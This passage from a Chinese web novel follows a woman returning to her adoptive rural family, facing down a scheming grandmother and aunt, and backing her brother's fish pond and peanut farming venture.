“有钱包鱼塘,没钱给我养老?给了粮食怎么了,我老太婆难道就靠着几口粮食过日子,我不要买衣服,不要买鞋子,不要买点饼干放着夜里饿了吃哦?” “得亏我跟着老二家过活,我要跟着你,回头饭都没得吃,还要把一把老骨头给卖了,供你们还债呢!哦哟,真是以为自己当个村会计就了不起啦,也学着别人想挣大钱啦,这可真是石头缝里挤水,财狼头上找鹿茸哟!” “余永诚,说你呢,别给我一副死样子,把三年,不,五年的养老钱都给我。” 余永诚坐在小板凳上卷着烟叶,眉头紧皱:“妈,我家现在没有这么多钱。” 承包费一百五十元,后面还要买鱼苗、石灰、渔网,还有那片山地,如果要种的话,买种子化肥又是钱,那片地瘦,化肥还比其他地要买更多……总之后面还不知道得贴多少钱,现在这个节骨眼儿,他们家哪有钱给老娘未来几年的养老钱? 余国梁动了动嘴唇,没吭声。 他们家给老太太一年三十元养老钱,三年就是毛一百,五年就得一百五。 他现在是绝对拿不出这么多钱来到,他爸妈手里可能有点,但那点钱是攒着准备给老二娶媳妇儿的。 再说,他们家一年给老太太两百斤粮食,三十块钱,还有逢年过节的猪肉鸡蛋红糖等等,算起来,老太太虽然是住在二叔家,但其实二叔家除了出个住的地方,其他的怕是一点都不需要再出了。 没准老太太还得掏私房补贴他们。 杨老太可不管,余永诚越是说没钱,她骂得越起劲,承包鱼塘就有钱,养老娘就没钱? “妈,能要是想把我们这个家拆散了你就直说!”躲在厨房里一直没吭声的许丽,在老太太骂到“有了媳妇忘了娘”的时候,终于忍不住冲了出来。 杨老太一屁股坐在地上,拍着大腿就嚎上了:“哎呦喂,我辛辛苦苦把你们兄弟俩拉扯大哟,你们爹死得早,我遭了多少白眼,受了多少委屈哟,现在好了,翻脸不认娘了哟!媳妇指着老娘骂也没人管了哟!” 本来因为余国梁承包鱼塘和荒地的事,村里就有人在附近好奇张望,这下好了,一个个干脆都围到门口来了。 余国梁叹了口气,过去扶杨老太:“奶,我这刚承包了鱼塘,确实拿不出这么多钱,我爸妈也确实没有。你放心,每年的养老钱绝对不会少了你的,年三十我一准儿给你送去。” 杨老太偏心小儿子,不太喜欢大儿子,连带的也不喜欢老大家的几个孩子。原先因为大孙子在村里当会计,她还高看几分,现在听说他要折腾什么鱼塘,就觉得这也是个靠不住的。她以后养老,还是得靠最小的孙子余国兴。 余国梁的话她是半个字都不信,打定主意今天不拿到至少一百块钱,绝对不走人。 老太太在这里闹得正厉害,余老二媳妇儿杨巧巧和她大闺女余招娣来了。 杨巧巧是老太太沾了老远边的一个远房亲戚。虽然有些地方是有同姓不婚的规矩的,但杨老太他们村子倒是还好,再说二十多年前,正是没饭吃的时候,那时候但凡能有口饭吃,谁还管这些啊!又不是什么正经的没出五服的亲戚。 不过正是因为有这层关系,杨老太一向和二儿媳是非常“有默契”的。 杨巧巧话不多,所以一直给人木讷老实的印象。家里有什么事,都是杨老太在前面冲锋陷阵,杨巧巧就跟在后面打配合。 这回也是,杨老太闹得差不多了,杨巧巧就过来了,她扶起老太太,一边抹泪一边说:“妈,你这是做什么,就算大哥不给你钱,不是还有我们吗,我们一家子总归是不会让你饿死的。走,我们走。” 由于杨老太在村里名声太差,大家都知道她一贯是耍无赖的,所以倒是没人觉得杨巧巧这话有什么不对,只觉得余老二家也是难,成天伺候这么个难缠的婆婆。 还有人暗暗觉得余永诚两口子不地道,就算杨老太自己说要跟小儿子,可你做长子的,怎么能就这么顺水推舟,把亲娘扔给弟弟? 余招娣也蹲下来扶着她们:“奶,你放心,就算他们都不养你,我也会给你养老的。” 许丽被恶心得不行,明明他们家早就把今年的养老钱给了,粮食也已经给了一半,被杨巧巧母女俩这么一说,倒像是他们一分钱没出似的。 她性子直,最是经不起激,火气上头,忍不住就开口:“不就是三年的养老钱吗,我——” 她想说我拿给你,你们赶紧给我滚,结果还没出口,就被人打断了:“不就是三年的养老钱吗,九十块钱的事情,也值当你们在我家唱念做打的演一出戏?奶奶,我们可不是不给你钱,而是真把三年的养老钱都给你,回头你把钱都给余国兴花了,后面几年就一分钱也没了。” 听到这个熟悉的声音,祖孙仨都一愣,这才发现周围安静得不太寻常,看热闹的人居然都不搭话了。 杨老太扭头看过去,就见小院门口站了几个看着特别气派的年轻人,每个人身上都穿着挺括的的确良衬衫,而其中白衬衫塞进一条特别漂亮的裙子里的女同志,看着有些眼熟。 她眨了眨昏花的老眼,终于相信这个看上去特别洋气的姑娘,就是她家老大白白养了十八年的余绵绵。 “你是绵绵?” 其他看呆了的围观群众这才反应过来,对哦,这个看着面熟的姑娘是那个被认回南城去的余绵绵啊! 可不是余绵绵,她还喊了杨老太奶奶呢。 哎哟喂,余绵绵竟然变成这样了?!这哪里还是他们看着长大的余家老幺啊,这分明就是城里大户人家的闺女啊! 柳绵绵走进院子,打量了一眼和原主记忆中变化不大的余家小院,点点头说:“是我。” 她看了眼余招娣,说:“刚刚招娣姐不说要给您养老吗,我听着感觉挺靠谱的,她一向是个细致的,姐夫家正好也在村里,大家去看望也方便。” 余招娣顿时傻眼,忙说:“我,我的意思是,如果大家都不给奶养老,我就给她养老。这肯定不可能的嘛,就算你们家不管,我爸妈我弟弟肯定也是会管的。”她是个嫁出去的闺女啊,怎么可能给奶奶养老,就算她想,她婆家也不会允许的,何况她也不想啊。 柳绵绵笑了下:“哦,懂了,所以你就是趁机说两句不要钱的漂亮话是吧?” “……” 余招娣答不上来了。 她要承认自己是说漂亮话,她奶和村里人会怎么想?她要不承认只是说说漂亮话,万一余绵绵真让她给奶养老怎么办? 她不敢搭腔,脸埋得低低的,只觉得脸上火烧似的。 柳绵绵瞥她一眼,似笑非笑看向杨巧巧,问:“二婶,你不会也是说漂亮话的吧?” 杨巧巧干笑了下:“怎么会?” 柳绵绵点点头:“我家一向都是年三十就把来年的粮食和养老钱送你家了的,你怂恿我奶过来闹,要未来三五年的养老钱,总不会是为了给余国兴攒彩礼钱吧?” 杨巧巧脸色一边,赶紧站了起来:“没有的事,我哪里有让你奶奶来闹,我们也没有这个想法。我们国兴现在有正经工作,我家也早给他攒好彩礼钱了。” 拿老人的养老钱给儿子攒彩礼,这种名声要是传出去,她家国兴还能找到什么好姑娘?她可是指望着他在乡里找个条件好的。 不用柳绵绵再说,杨巧巧把杨老太也扶了起来:“妈,咱们走吧,以后的养老钱以后再说,大哥肯定不会不给你的,他不是这种人。” 杨老太还想说什么,杨巧巧在她手臂上一捏,婆媳俩交换个眼神,杨老太于是就“不情不愿”地被搀扶了起来。 她眼珠子一转,看向门口两个男青年手里提的行李包,说:“绵绵,你这趟回家,给奶奶带东西了吧?我们老余家养了你这么多年,奶奶可是一直很疼你的,你总不会去了城里就忘了长辈吧?” 啧,这老太太,还道德绑架上了。 柳绵绵呵了声,说:“是啊,是挺疼我的,兜里明明有三颗糖,余国兴两颗,自己一颗,就是不给我那种疼。” 围观的村民顿时都笑了出来。 杨老太矢口否认,柳绵绵翻个白眼:“我客气喊你一声奶,不客气,我可就真要不客气了。” 杨巧巧又扯了杨老太一下,杨老太忍着心头的怒气,跟着杨巧巧走了。 这赔钱货去了南城,瞧着确实跟以前不一样了,杨老太一点不怀疑,她是真的会对自己不客气。 柳绵绵盯着杨巧巧的背影看了几眼,这位二婶的样子,明显是心虚啊! 许丽擦了擦眼角,上前抓住柳绵绵的手:“绵绵,你这孩子,你可算舍得回来了。我和你爸,原本还商量着过几天就去南城看你呢,你这孩子,在城里过得不好,你就回家啊……”说着说着,声音就有些哽咽了。 老大回家以后说了挺多老幺在南城的事情,听说柳家对她不好,又听说她差点被人贩子绑走,许丽这心里真是跟刀绞似的。 孩子当初走的时候什么都没说,之后他们寄信寄东西回去,她也是一概不回,她还以为这孩子是嫌弃他们,不想认他们了。 不过刚刚看她说话,许丽是深切地感受到了,为什么老大说老幺这两年变了很多,变得又会讲话又能干。婆婆那么难缠的人,她三两下就给人打发走了,中途自己想插嘴都没找着机会。 可想到孩子是过得不好才有了这样的变化,许丽的眼泪就更加止不住了。 柳绵绵最不会安慰人,顿时有些手足无措,她环顾四周,想要找人帮着劝劝,一眼瞄到还站在门口的沈维舟他们,于是赶紧说:“妈,我这不是回来了嘛,对了,你们还没见过我、我丈夫,他叫沈维舟,还有,那是他妹妹,沈维云,那位也是亲戚,叫王志远。” 果然,许丽马上被转移了注意力,看向沈维舟他们。 第一眼,这小伙子可真俊啊,倒是配得上他们家绵绵。 第二眼,这小伙子也太瘦了点,这得多吃点啊! 然后许丽就想起来了,女婿和亲家小孩都上门了,她这一点准备都没有呢,中午拿什么招待他们?立马就忙碌了起来:“来,女婿,还有亲家的,快进来坐!老大,去厨房切西瓜,老二,跟我过来。”得赶紧去买点肉,再杀只鸡。 余永诚脸色不太好看,闺女在南城本来就过得艰难,结果女婿和亲家姑娘第一次上门,就让他们看见了刚才那一幕,真是给闺女丢脸啊! 再想到自家老大承包鱼塘的事,余永诚更加一个头两个大。 结果大家坐下来一人一块西瓜正吃着,余国梁把自己承包鱼塘和山地的事情一说,柳绵绵一拍桌子:“跟村里就签了一年?那怎么行,至少先签三年!” 余永诚手里的西瓜差点扔出去。 第45章 变化太快有点晕 余国梁不敢跟家里人多说,但是和柳绵绵,他还是很愿意说的,包括自己前期做的工作,技术员提出的建议,还有测算的池塘、山地产量。 “咱们这一片这种土质的山地还是挺多的,种庄稼是真不行,不然村里也不会一直不分给大家,任凭它空着了。往年就是撒点草籽,割点猪草,给大家养的猪啊羊啊的供点饲料。” 余国梁兴致勃勃说:“技术员告诉我,去年底南城农科所研究出了一种新型花生品种,南花9号,就是针对这种土质的。种子还没有大量上市,农科所那边也正想找一些地方试种,他答应了想办法帮我联系。” 柳绵绵点头:“挺好的,如果试验结果不错,还可以扩大种植规模,把隔壁小墩村的那一片也租下来。池塘也是,隔壁离得不远就是小墩村的池塘吧,干脆挖通了。” 余永诚:“……” 老大花一百五包了村里的池塘和山地,他都已经愁得不行了,要么,老幺一回来,直接就奔着把小墩村也兼并过来去了。 他赶忙泼凉水:“就村里这些能不能挣到钱还不知道呢,技术员是这么说,可技术员也没包过池塘没包过山地吧,那叫啥,对了,纸上谈兵,知不知道?!一年都不知道怎么样呢,三五年更不行,到时候亏了,全家把脖子系了也还不起。” 柳绵绵摇头:“这是万一没养起来没种起来,可万一种起来了呢,到时候其他人看你挣钱了,是不是得眼红,是不是也想竞争承办权,村委是不是也想提高提高承包金?那大哥冒这么大风险,不就帮别人作嫁衣裳了?” 余永诚沉默了。 他一直想的都是做不起来亏钱,确实没想过,真能挣钱会不会有人来抢着承包的问题。 要真像那个技术员说的,一年少说能挣上千把块,那肯定多的是人抢啊! 到时候老大费这么大的工夫、冒这么大的风险,蹚出来的路,要么得白白便宜了别人,要么就是要多交承包金。 半晌,余永诚叹了口气:“就算是咱们想,也没这么多钱啊!” 柳绵绵笑了:“我有呀。” 余永诚愣了下,看了眼沈维舟,忙摇头:“不行不行,这是你大哥的事情,哪能要你的钱。”闺女婆家条件好,娘家人就更不能成天想着沾闺女的光,不然闺女在婆家也抬不起头。 柳绵绵:“我又不是白给他,我投资,不管是三年还是五年,和村委谈好以后,这笔钱我来出,利润分我三成就行。” 想了想,柳绵绵又问:“大哥你是说咱们这儿这种山地很多是吧,等今年试种完了,收成好的话,明年估计乡里就会大批引进了?” 余国梁恍恍惚惚地答:“应该是。” 他一下子还有点回不过神,一小时之前,他还因为承包池塘和山地,被家里人嫌弃,一小时之后,原本承包一年都不愿意的他爹,竟然已经开始考虑承包三年没钱的问题了? 这,这变化太快,他有点晕。 柳绵绵不知道他的想法,而是继续说:“花生产量扩大后,倒是可以办一个榨油坊,一开始可以做点来料加工的活儿,顺便还可以办个养殖厂,用油渣饼当饲料,等以后可以慢慢做自己的食用油品牌,办个食用油厂。” 别看这时候家家户户都把猪肉、猪油当宝贝,等到资本入局,猪油有碍健康的种种谣言,会彻底颠覆华国老百姓的观念,上辈子柳绵绵所在的华国,每年植物油的进口量都高达数百甚至上千万吨。 余国梁:“……” 余永诚:“……” 俩人都是一副“我是谁,我在哪,我听到的是什么”的表情。 他们不是在讨论承包鱼塘和山地的问题吗,所以老幺是觉得这个问题已经讨论完了,可以换个话题了? 就算换个话题好了,怎么就变成要开榨油坊、养殖场和食用油厂了? 沈维云无脑吹:“大嫂,你懂的真多!照这么说,以后国梁大哥就能当厂长啦!” 王志远则是一脸羡慕地看着余国梁,说:“我战友转业回家乡包了一块山地养鸡,听说也挺挣钱的,不过他说,养猪更挣钱。” 余国梁:“啊?” 不是,他没说要养猪啊! 他这养鱼种花生都忙不过来呢。 柳绵绵笑眯眯道:“那志远你办养殖厂养猪啊!你先考察考察,找地方学一学,等明后年,就来前进乡办个养猪场,正好让我哥的榨油厂给你供饲料。到时候让沈维舟投资你,他有钱。” 虽说柳绵绵是真觉得这个方案可行,但连她自己都觉得,自己这听着像是忽悠人的骗子,不过王志远可不觉得她是骗子。 自从跟着柳绵绵挣到钱以后,柳绵绵在王志远的心目中,就跟行走的财神爷差不多,闻言顿时眉开眼笑:“真的啊,那挺好的。” 余国梁:“……” 不是,他哪有钱办榨油厂?! 柳绵绵把西瓜皮往泔水桶里一扔:“大哥,吃完了赶紧去找村委重新谈一谈承办年限的问题吧,承包时间长了,让他们把承包金再往下降一降。”说完就去厨房洗手去了。 余国梁:“啊?!” 倒是余永诚一拍大腿,说:“行,国梁你去谈!” 他算是看出来了,老幺去了南城以后真是变得不一样了,说话做事,又有想法又有章法。而且,最关键的是,不管她说什么,女婿都没说一个不字,明显是支持她的。 虽说娘家人不能成天想着沾闺女的光,但闺女和女婿想拉拔一下家里兄弟,他们也不能总往外推。闺女也说了,她这是投资,以后挣了钱也要分她的,这么一想,余永诚就觉得,其实让闺女出资其实也是可以的。 只要他们一家子齐心协力把鱼养好,把花生种好。 之前是不知道老大的打算,这孩子也真是心野了,这么大的事情,前前后后干了这么多事,竟然和家里一句都不提。 余永诚暗暗叹气,不过之前一直提着的心,倒是放了几分。 既然有技术员看过,而且明显眼界不一样了的老幺也赞同,看来这鱼塘和山地没准还真能挣钱。 心里一块大石落了地,余永诚的注意力于是开始转到了女婿身上,和许丽一样,余永诚觉得女婿太瘦了。 大老爷们儿,长得好看有什么用,又不能当饭吃,身体强壮才是第一位,女婿这样子,一看就没什么力气,说不准还他家小丫头力气大呢。 对于女婿这病恹恹的样子,余永诚有些嫌弃。 不过女婿家里条件好,老幺嫁过去,明显日子过得不错,所以他也就努力地收起这份嫌弃,尽量表达自己这个老丈人对于他们到来的欢迎了。 余永诚表达欢迎的方式就是,往沈维舟手里又塞了一大块西瓜。 吃了一块瓜后,又连续被丈母娘、大舅哥各塞了一块西瓜,已经有些吃撑了的沈维舟:“……” 柳绵绵洗完手回来,正好看见这一幕,她也是和沈维舟相处久了,现在都能从他表情极度不丰富的脸上读出情绪来了,比如此刻就是:无奈并且为难。 她乐得不行,走过去把西瓜拿了过来:“你别吃了,我吃。”她吃得慢,刚才才吃了一块,这瓜虽然切得大,一长溜的,但再来一块倒是也勉强可以。 她一口咬了下去。 沈维舟被她拿走瓜,愣了一下,开口:“我咬过了……” 几乎同时,柳绵绵已经咬了下去,一口西瓜含在嘴里,吃也不是,吐也不是。 叶兰端了盆炒好的南瓜子放在凳子上,拉了个小板凳坐在柳绵绵旁边,笑着调侃:“小两口还分什么你我。” 柳绵绵只好若无其事地继续吃瓜。 沈维舟看她一眼,清了清嗓子。 刚刚大家说的话,叶兰在厨房都听见了,不过她心里还是没底,忍不住又问柳绵绵:“幺妹,你大哥这个池塘和山地,你真觉得能挣钱?” 柳绵绵不答反问:“大嫂,庄稼种下去的时候都只是小苗苗,你有没有想过,它是不是真能长出麦子、稻谷来?” “那肯定呀,咱们祖祖辈辈都是这么种下来的。” 柳绵绵耐心道:“其实养鱼和种花生也是一个道理,都是从小苗苗长成大鱼、长出花生,和种庄稼一样,咱们自己要勤勤恳恳,付出劳动,总能收获果实的。人家技术员都说能养起来能种起来了,你怕什么?” 这么一说,叶兰顿时觉得心里那种不踏实的恍惚感消散了许多,不过还是忍不住抱怨了句:“你大哥就跟地下党似的,真是一句话都不说,什么技术员,他是吭都没吭一声。”真是,差点把她吓坏了,都想着万一亏了,以后得带着两个孩子去要饭了。 她心里也是堵着气,老太太来家里闹的时候,她干脆就躲在厨房里没出来。 当然,其实她出来也没用,老太太可从来没把她这个大孙媳妇儿放在眼里,老太太一向都是觉得,余国兴将来能给她娶一个城里儿媳的,她这样的乡下人,人家根本看不上眼。 柳绵绵笑笑:“他这是怕你们不同意,想着先斩后奏呢。” 叶兰想说不商量怎么就知道他们不同意了,不过仔细想想,她也知道,余国梁要真和她说,她是绝对不会同意的。 许丽去自留地摘了些菜,余国栋则是去自己要好的小伙伴那里弄了块肉,顺便还把在晒谷场玩得汗流浃背的侄女侄子给逮回了家:“你们小姑姑小姑父来了,赶紧回家去,回头带的糖都被隔壁阿毛吃掉了。” 好么,六岁的余欢欢和三岁的余岁岁,立马倒腾着小短腿屁颠屁颠往家里冲。 冲进家门,两个小不点傻眼了。 院子里坐着两个不认识的阿姨,还有两个不认识的叔叔。 余欢欢还在犹豫不决,她对小姑姑是有点模糊印象的,只是眼前的两个“城里人”,都和她印象中的小姑姑大相径庭,她觉得两个都不是……余岁岁反正谁也不认识,倒是一往无前,三两下跑到沈维舟身前,一把抱住他的长腿,奶声奶气喊了声:“小姑沪!” 大家顿时都被他逗笑了。 沈维舟垂眸看了眼地上的奶娃娃,拿出个红包递给他。 余岁岁接过红包抖了抖,不太高兴,睁着一双黑白分明的大眼睛,问:“糖捏?” 叶兰都要被自己儿子蠢死了,赶忙过来把孩子抱起来:“还不谢谢小姑父,这能买很多很多糖了。” 余岁岁一听,满意地笑出了个小酒窝:“小姑沪好!” 余欢欢眼见弟弟拿了红包,也不纠结到底哪个是小姑姑了,赶忙也跑过来喊沈维舟:“小姑父!” 沈维舟同样给了个红包。 余欢欢高兴地喊了声:“谢谢小姑父!”说完直接就把红包打开了,然后马上又发出了“哇”的一声惊叹:“是大团结!” 她虽然还没有开始读书,但是也是一个有点“文化”和“见识”的小孩了,她爹可是村里的会计,成天算钱的,她可是见过大团结的,知道这么一张薄薄的钱,可以买可多可多可多东西啦! 那边余岁岁见姐姐从红包里抽了钱出来,马上有样学样,也从红包里抽出一张纸币,装模作样地“哇”一声,说:“大同结!” 其他人顿时又被逗得直笑。 余国栋把满地乱转的余岁岁一把提了起来:“岁岁成有钱人啦,给二叔买糖不?” 余岁岁一把把“大团结”牢牢抱住了:“不哟。” 余国栋拍了下他的屁股:“小气鬼。” 余岁岁小手一把拍在余国栋脸上:“小气魁!” 余国栋:“……” 余家一派其乐融融,离得不远的余永丰家气氛却不太好。 余永丰一家子住的是老余家的祖宅,三大间的青砖瓦房,是余永诚、余永丰的爷爷建国前建的。 老爷子当年在城里大户人家做工,有一趟差事办得仔细,帮主家挽回了很大的损失,主家赏了不少钱。房子就是用这笔钱建的。 因为老爷子当年是仆人,也是被剥削压迫的阶级,运动的时候倒是也没人攀扯他们家。 杨老太偏心小儿子,小儿子说亲之前,就找了个借口把老大分出去了,给了点锅碗瓢盆,其他什么也没给。余永诚家现在那两间屋子,还是分家之后,余永诚和许丽一点一点攒钱建的。 这三间青砖瓦房,往常可是杨老太的骄傲和底气,十里八乡也找不出她家这么气派的房子。 可自从改开以后,脑子活泛的、勤劳肯干的,总能想法子挣到钱,这十里八乡房子建得比他们家好的越来越多,所以现如今,坐在青砖瓦房的堂屋里,杨老太早已没了从前那种得意。 尤其今天本以为十拿九稳能拿到的钱,竟然没有拿到,杨老太的心情真是相当的不美丽。 “老白眼狼生的小白眼狼,去了城里过好日子,也不知道时不时给长辈寄点补品,回家了也不说给长辈包个红包,妈的,真是养不熟的东西。”刹羽而归后,老太太就坐在堂屋前骂骂咧咧。 杨巧巧听得心烦,又不得不哄着她:“这个节骨眼,大哥家可能真是拿不出钱,妈,要不过阵子再去要吧。” 顿了下,说:“倒是余绵绵回来,我真是有点担心,当初那个事情,会不会穿帮了?” 杨巧巧觉得柳家人可真是不靠谱,当初明明说好了,让她帮着挑拨挑拨就行,而且保证柳绵绵不会再回安县的,结果呢,人不但回来了,还是带着女婿回来的。 “穿帮了又怎么的,她还能打我们?挑拨两句,咱们国兴就得了个工作,这才是实打实的好处。” 杨老太眼珠子一转,说:“这回咱们也得想法子弄点好处。” 第46章 没想到这么好忽悠 老余家被认回城里去的闺女回来了,这个消息很快在村里传开了。正嘲笑余国梁脑子坏掉,想不开去承包鱼塘的人们,顿时又有了新的话题。 余绵绵不是亲生的,是抱错的,这件事当初可是震惊了不少人。尤其是她不声不响就回城了,后面再没回过村,也没跟余家人联系,村里人背地里都说老余家人是冤大头呢。 亲闺女在城里不认他们,养的闺女跑回城了,也不认他们了。 辛辛苦苦养了十几年,真是竹篮打水一场空。 不少人都笑话许丽,把个赔钱货当宝贝宠,一个丫头还供着读到了高中,看吧,到最后还不是白白帮别人家养了? 因为这些闲话,许丽在村里还和好几个人吵过架。 哪想到,一晃都两年过去了,老余家那个闺女又回来了。据看见的人说,她在城里嫁了人,这回她男人也一起回来了,长得可俊了,看上去又体面又气派。 最最重要的是,他们拎着不少东西进的余家。 原先和许丽吵过架的那些人,顿时心里酸得不行,甭管是不是亲生的,养了那么多年总是事实,只要人家愿意走动,回头拉拔一下老余家还不是轻轻松松的事情? 当然,也有人暗戳戳地想,没准人家就是闲着没事干,来乡下走走呢,城里人也精着呢,也许根本就不会真心帮老余家。 然而很快新的消息又来了,据说余国梁跑去和村干部商量了,要和村里签正式的承包合同,承包时间也不是一年了,要签个三五年。 据说当场村支书就问他了,承包三五年的话,至少得交一半的钱吧,这钱拿得出来吗? 结果怎么着,余国梁笑呵呵地说,他家老幺要投钱,他不够的,余绵绵,哦,不是,人家现在叫柳绵绵了,不够的柳绵绵出! 嚯! 一年一百五,三年四百五,五年就是七百五了! 就算余国梁自己能掏一点,这也不少钱啊,何况还没算鱼苗种子的钱呢。 这柳绵绵是真的回来拉拔老余家的啊! 酸,大家这心里真是酸得不行。 尤其之前蛐蛐许丽白白帮人养闺女的那些人,更是觉得五味杂陈。这哪里是白白养了闺女,这是养了个金娃娃呀。就算是亲生的闺女,谁也不敢保证,嫁出去以后能这样拉拔家里啊! 消息传到杨老太和杨巧巧的耳朵里,这婆媳俩就更酸了。 他们家国兴在乡里的农机厂做临时工,一个月工资二十八元,这在村里那也算是“高收入”了。他家招娣也帮衬家里,时不时就从婆家往娘家捣腾点东西。 可跟柳绵绵这一出手就是好几百一比,顿时感觉都不够看了。 柳绵绵倒是不知道村里人的想法,她现在手里有钱,拿个几百块出来投资一下余国梁,完全就是洒洒水。 而且,钱捏在手里是不会生钱的。 把手里的钱花出去,让它们发挥应有的作用,才能早日挣到更多的钱不是? 上辈子她不敢想拥有一个小目标,这辈子站在时代的风口上,她还是敢想一想的。毕竟后世那些拥有无数个小目标的大佬,在这时候也跟她差不多,不是在倒卖玉米就是在蹬着三轮车卖汽水。 许丽厨艺不错,加上今天为了招待女婿,很舍得下料,午饭做得浓油赤酱,香得不行。 吃完饭大家坐着闲聊,等到下午四五点钟,太阳没那么烈了,一群人跟着余国梁一起去看承包的池塘和山地。 池塘不算太大,不过就养鱼来说,也够了。由于村里没有正经管理过,池塘边杂草丛生,角落铺的青石板上还有人在那里洗衣服。 看到柳绵绵他们,正洗衣服的大嫂笑着跟他们打招呼:“国梁,绵绵,哎哟,这以后就是你家的鱼塘了啊,咱们以后还能来洗衣服吗?” 柳绵绵从原主的记忆里提溜出来这位,是住老宅附近的一位邻居,嘴巴挺碎,但人不坏。 柳绵绵也笑,说:“嫂子,今天先洗吧,以后可不能洗了,不然咱们养的鱼万一出什么问题,也说不清楚不是?村支书说了,承包款回头村里按人头分,大家多多少少能拿点儿,肯定也希望我们这鱼塘做得顺利不是,不然我们拿不出承包款,你们也没钱分了。” 大嫂爽朗地笑起来:“哎哟,进城了就是不一样,绵绵现在都这么会说话了!放心吧,我这桶衣服洗了,就不洗了,我帮你们跟其他人也说说。洗衣服哪有分钱重要啊你说对不对?” 柳绵绵笑眯眯:“可不是。” 等走远一点,柳绵绵就和余国梁商量:“这些杂草啊什么的都要处理掉,然后鱼塘附近多弄几个小心危险、禁止洗衣之类的指示牌,让人在旁边画上浅显易懂的图示。” 看完鱼塘看山地,这一片山地面积确实不小,要不是准备种花生,柳绵绵觉得,其实圈起来养走地鸡也挺好的。 一整片的山地上都是杂草,草丛间偶然可见色彩艳丽的野花,在傍晚的阳光中随风轻轻摇摆。 宁静而悠闲的乡村风光。 “啊,那是什么!” 沈维云突然尖叫起来,柳绵绵回过头,眼角余光瞥见草丛中有什么东西飞快地往她这边游动过来,她吓了一跳,正想跑,突然被人往旁边拽了拽,然后,她就看见,一根尖尖的木棍突然快狠准地往草丛中的东西戳了过去。 柳绵绵突然瞪大了眼睛。 草丛里的东西被戳中了,痛苦地甩着尾巴,但竟然挣不脱那根小小的木棍。 柳绵绵扭头看向拽住她的沈维舟:“你……”你不会是什么古代侠客或者修仙的人穿越的吧? 沈维舟护着她往旁边退了几步,才说:“夏天草木茂盛的地方容易藏匿蛇虫鼠蚁,你小心一点。” 离得近一点的余国梁也反应过来了,不知从哪里捡了一块大石头,抡得高高的,嘭地往还在挣扎的蛇身上砸了过去。余国栋不愧是亲弟弟,如法炮制,也捡了一块石头砸在了蛇身上。 离得稍微远了一点的王志远:“……还需要再来两下吗?” 感觉那蛇都快被砸成肉饼了。 余国梁摆手:“不用不用,应该砸死了。”别说什么七寸,脑袋身子都砸烂了,七不七寸也没什么要紧。 等草丛里没动静了,余家兄弟俩非常默契地凑了过去,确定蛇已经死得不能再死了,才用那根尖尖的木棍把蛇给挑了起来。 沈维云惊魂初定,瞪大了眼睛盯着半条身子都被砸烂了的蛇好奇问:“这是蛇啊,我还是第一次看到真的活的蛇哎!” 一手挑着蛇的余国栋不禁抽了抽嘴角:“这也不是活的蛇了。”已经死得不能再死了。 还以为城里姑娘会被吓到呢,结果小姑娘眼睛瞪得跟铜铃似的,比他还要好奇。 余国梁看了看那条蛇,说:“带回去让草药叔看看吧,可能还值几块钱。”村里的赤脚大夫,成天自己上山采草药的,就有了这么个诨号。 说着他又冲沈维舟竖了个大拇指:“妹夫你这手厉害啊,虽然没钉住七寸,可也钉得它动弹不得了,不然它要给绵绵咬一口,今天就麻烦了。” 沈维舟看了眼柳绵绵:“嗯,我也是一时情急。” 柳绵绵心说,你不对劲。真正一时情急的人是像我这样的好不好。 考虑到安全问题,他们也没再继续逛,转身回去了。 走到半道儿上,遇见拎着菜篮子的杨巧巧,她笑着和几人打了招呼,说:“绵绵,二婶有几句话想和你说,你陪二婶去自留地拔菜呗?” 柳绵绵眼神闪了闪,没拒绝,而是说:“我们刚刚遇见蛇了,我不小心给鞋子裤子都弄脏了,你先去自留地吧,我换了裤子就过来。” 杨巧巧想说穿着脏裤子脏鞋子去自留地不是正好,自留地又不是什么干净地方,不过这话不符合她的人设,她在外一向都是老实木讷不多事的性格,既然柳绵绵这么说了,她肯定是不会反对的。 于是只好点点头:“行,我先去自留地等你,我家地里西红柿长得好,我摘一些给你。” 等人走远了,余国栋皱着眉头问:“二婶找你干嘛?” 柳绵绵摇头:“不知道,她不是说有话要跟我说嘛,那就去听听她说什么呗。”反正肯定不是什么好事。 余国栋皱着眉头,迟疑了下,还是说:“你去了城里不知道,这两年,哦,对了,就是你去城里后不久,余国兴就进了乡里的农机厂上班了,然后这两年,二婶也跟以前不一样了。” 要说什么明显的、大的变化好像也没有,但确实是和以前很不一样,说话做事不像从前那样收着了,用他妈的话说就是成天阴阳怪气的不像个好人。 柳绵绵点点头:“嗯,我晓得的。” 回到余家,柳绵绵找到厨房里的许丽,趴在她耳边说了几句,又回房间磨蹭了一会儿,也没换裤子,仍旧穿着那条裤脚有点脏了的裤子去了自留地。 杨巧巧压根没注意她换没换裤子,一见她过来就眉开眼笑的。她还真没吹牛,她家的西红柿养得不错,一口咬下去,又甜又粉,汁水满满。 柳绵绵随手从篮子里捞了一个,边吃边问:“二婶,你要跟我说什么?” 杨巧巧盯着她手里被咬了一角的西红柿,有些心疼,干笑道:“也没什么,这不当初你走的时候,和我说过以后再也不回来了,这两年都过去了,又突然回来,我就觉得有点奇怪,想问问你。” 柳绵绵嗯了一声,没搭腔。 杨巧巧心说这丫头怎么去了一趟南城变得不好对付了,换了从前,她这么说,这丫头肯定叭叭叭地就跟她抱怨上了。 许丽的性格大大咧咧的,这丫头从小有什么不高兴的事情,都喜欢偷偷告诉她。她们关系还是不错的,不然当初这丫头也不会听她一撺掇就不声不响回了南城。 而且这丫头从小就一根筋儿,听风就是雨,最是好挑拨了。 杨巧巧可不信有人真的能因为进了城,就变得聪明了,顶多就是学会装聪明了,这么想着,她还是把想好的话给说了出来。 “当年你家想用你和林山梅换亲的事情,是我告诉你的。我是想着,你这趟回来,可别再和你妈提这事。毕竟事情都过去了,林山梅她哥,据说也好不容易找着了媳妇了,他找着媳妇了,林家这才答应把林山梅嫁过来,这时候要是再提这个事情,大家都不好看。” 杨巧巧叹了口气,一副推心置腹的模样,说:“我也不是跟你邀功,有些事情你是不知道,当初你国兴哥本来是能招进农机厂当正式工的,结果就因为你跑了,林家不知从哪里知道的,说里面有我家的事,就跑去乡里闹了一通,把我们国兴的正式工也给搅黄了。” “这些事过去就过去了,这个哑巴亏我们吃就吃了,你可千万别提起来,不然你二哥的婚事怕是悬。一耽搁就耽搁了两年,你二哥想娶个媳妇,也真是不容易。” 柳绵绵啃完最后一口西红柿,也跟着叹了口气,说:“二婶,我是真不知道,你们家为了这件事受了这么大的委屈。我也不是没情义的人,国兴哥为了我丢了个正式工,这可真是太冤了。二婶,我得补贴你们,一千元吧,你看一千元够不够?” 